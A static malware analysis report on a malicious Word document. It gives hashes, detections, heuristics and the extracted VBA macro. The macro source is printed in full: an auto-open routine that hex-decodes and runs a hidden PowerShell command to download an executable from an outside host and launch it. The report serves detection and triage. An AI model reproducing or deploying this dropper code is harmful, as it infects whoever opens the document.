Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 da9353e2371cd13b…

MALICIOUS

Office (OOXML)

57.8 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-04-10
MD5: b5c8191a07a24371d4bcdea9324d6fc6 SHA-1: f4937423b1b40a7246b829ac64b260b793f8a03f SHA-256: da9353e2371cd13b32f3a8fe9f12eb2a43c358f11d19b5edd73d2261aa1005e2
192 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F6164322E657865272C24656E763A54656D702B275C6D732E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6D732E657865 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3222 bytes
SHA-256: a394c0eb00654c96b550b1c1faab98a782684549197d2ffcca24c34c47ac5139
Detection
ClamAV: No threats found
Obfuscation or payload: likely
29 of 57 identifiers look randomly generated (e.g. 'pvbpqrzumzdlxzvesmbdwwtls') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub bes01()

Local $wnhna = ["nmebgnsgqobnbkyrfkfzwxknn" ,"uvjhpayfpqlrxfpdqekfnccdm" ,"jszvkekwgtqzjlqbvytddfoov" ,"buefxafdheakrrlkjvgfpfvhj" ,"neproaaouuykwxwjebhrlgdef" ,"vjqxbmrcxmlxprnoevvczrqcj" ,Sqrt(BitOr(3573,8792)) ,BitAnd(BitRotate(Sqrt(13872)),3958) ,BitRotate(BitOr(BitRotate(72763),7082)) ,BitXOR(Sqrt(47304),4140) ,BitRotate(BitRotate(Int(86121))) ,"khpuvbkjodydtzxnmeaafctfk" ,BitRotate(BitNot(17392)) ,BitNot(Int(BitRotate(77806))) ,"horfckfweremoikocilaqzmrl" ,"ajccigupwzmzoahhuapsggdxt" ,Int(BitOr(BitNot(18283),9341)) ,BitNot(BitAnd(Sqrt(32634),4800)) ,"lmgsprznjzpobzyhghcavluzb" ,BitXOR(BitOr(BitXOR(5677,4887),9465),150) ,BitNot(BitOr(71831,6144)) ,BitNot(Int(23365)) ,"rbvkhoytnuumzxdzrziishoou" ,BitXOR(Sqrt(BitRotate(77641)),5168) ]
Local $ge = ["ojgztyhiwytlhtnscfeurjpba" ,"mwbgnjqcgztbynrzooywnmpvu" ,BitNot(BitXOR(BitAnd(88276,9065),9029)) ,"otwrkfrgbvubtkhdghdenpzru" ,BitRotate(BitXOR(Int(59028),1454)) ,BitAnd(BitNot(75518),7871) ,"xczyxndahuudkjnzbjrezqwuf" ,"bifoegzntihbalwenthsqlhhs" ,"tjcvixkcjlfnhwqqzxlvvzidi" ,"kkgrfdcuohzbgjlcumqthnpvt" ,"hekadaaannmabmrncueybxuma" ,Int(Sqrt(BitXOR(15082,8741))) ,BitRotate(BitRotate(66251)) ,BitNot(Sqrt(82378)) ,BitAnd(BitAnd(47415,5963),5018) ,BitAnd(Int(BitRotate(99450)),144) ,"pvbpqrzumzdlxzvesmbdwwtls" ]
Local $znbcsyn = [Int(Int(23148)) ,"ldapyxdrggocsgnabjjornyoj" ,BitRotate(BitRotate(98089)) ,"qzgdpobfufqduemligbrpjeck" ,"vadxwzotxjbctqeoyniatdeqi" ,Int(BitRotate(5600)) ,"humgueijpdnikzerrpzpnzqqx" ,"fxpuyvyhyeovqnntpwascvfxw" ,BitOr(BitXOR(18597,9802),3797) ,"jqrfjdkakjvelrilkqcfqtyxg" ,"keejmkhlgmmndosqrmsenazkn" ,BitXOR(BitAnd(68085,5964),4706) ,"mfwzcyvjuzvgnrtjwywykfpyf" ,BitAnd(BitXOR(70904,47),7416) ,"fqouxbcnnszxmxfmfnyglraev" ,"kgfotpxqfaxdgzhxlyiwazyfx" ]
Local $egmtgejnk = [Sqrt(BitOr(56126,1612)) ,"vjuwrccwiuxczneklaompnyfr" ,BitXOR(BitXOR(BitXOR(19276,7572),105),8758) ,BitRotate(BitAnd(31935,2204)) ,"foukrlxmnajdstpzgqclafxaj" ,"wmlpeodkgzzywaubbqbwufuxd" ,BitXOR(BitRotate(BitAnd(95101,9700)),3964) ,Int(BitRotate(BitAnd(15593,601))) ,Int(BitRotate(BitRotate(55043))) ,"vwzihxihbcdproiguiuhzdzbw" ,"yeckowaulwmrzueeqiqrtsmyd" ]

End Sub



Sub wailo()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F6164322E657865272C24656E763A54656D702B275C6D732E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6D732E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
wailo
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 649d5b56e6ff0207077b5d1e5534a093117b7f02f6816bc6ddb7e10beaad52c8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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